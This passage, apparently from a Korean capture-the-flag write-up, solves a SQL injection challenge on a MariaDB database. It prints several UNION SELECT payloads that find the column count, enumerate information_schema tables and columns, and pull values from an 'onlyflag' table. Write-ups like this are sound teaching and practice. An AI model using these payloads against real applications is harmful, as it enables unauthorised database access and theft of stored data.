먼저 위의 명령어를 통해 SQLi가 가능한지를 파악했고, 성공적으로 admin 계정으로 접속 할 수 있었다.
그래서 주어진 fake_table_name괴 fake_col의 정확한 이름을 알아내기 위해 노력했는데,
먼저 column수가 4개가 맞는지부터 확인해보았다.
a' union select version(),null,null,null #
위의 명령어를 통해
column의 수가 4개임과 동시에 mariaDB를 사용하는 것을 알 수 있었다.
' union select table_name, null, null, null from information_schema.tables#
이제 위의 명령어를 통해 원하는 table_name을 출력할 수 있었고,
딱 봐도 수상해보이는 onlyflag가 table_name이라고 생각하여 해당 테이블에 접근했다.
마찬가지로 column_name을 알기 위해
' union select column_name, null, null, null from
information_schema.columns where table_name='onlyflag' #
위의 명령어를 입력해보니
onlyflag 테이블에 들어있는 column명을 알 수 있었다.
주어진 코드에 따르면 flag 값은 svalue, sflag, sclose에 들어있으므로
' union select sname, svalue, sflag, sclose from onlyflag #
위의 명령어를 치면 flag is ...가 나오게 된다.
하지만 해당 내용을 그대로 제출하면 틀린 정답이 되는데,
우리가 볼 수 있는 col의 개수가 3개이므로 3개만 출력이 되게 된다.
그러므로 sflag의 값이 누락되어 있는 것을 다시 출력해주면 원하는 flag 값을 얻을 수 있다.
' union select svalue, sflag, null, sclose from onlyflag #